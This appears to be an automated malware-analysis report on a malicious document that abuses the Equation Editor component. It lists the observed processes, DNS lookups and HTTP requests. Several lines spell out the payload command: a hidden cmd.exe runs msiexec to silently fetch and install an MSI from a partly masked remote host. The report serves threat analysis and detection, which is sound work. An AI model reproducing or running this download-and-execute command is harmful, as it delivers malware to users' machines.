Technical Information
Malicious functions
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://s2####3.smrtp.ru/thr/bi.msi /qn
Network activity
TCP
HTTP GET requests
- http://s2####3.smrtp.ru/thr/bi.msi
- http://ag####ight.com.my/cgi-sys/suspendedpage.cgi
HTTP POST requests
- http://ag####ight.com.my/inc/js/colorbox/bi-secure/index.php
UDP
- DNS ASK s2####3.smrtp.ru
- DNS ASK do#########ocs.googleusercontent.com
- DNS ASK ag####ight.com.my
Miscellaneous
Creates and executes the following
- '%WINDIR%\installer\msif5.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://s2####3.smrtp.ru/thr/bi.msi /qn' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://s2####3.smrtp.ru/thr/bi.msi /qn
- '%ProgramFiles(x86)%\internet explorer\ieinstal.exe'
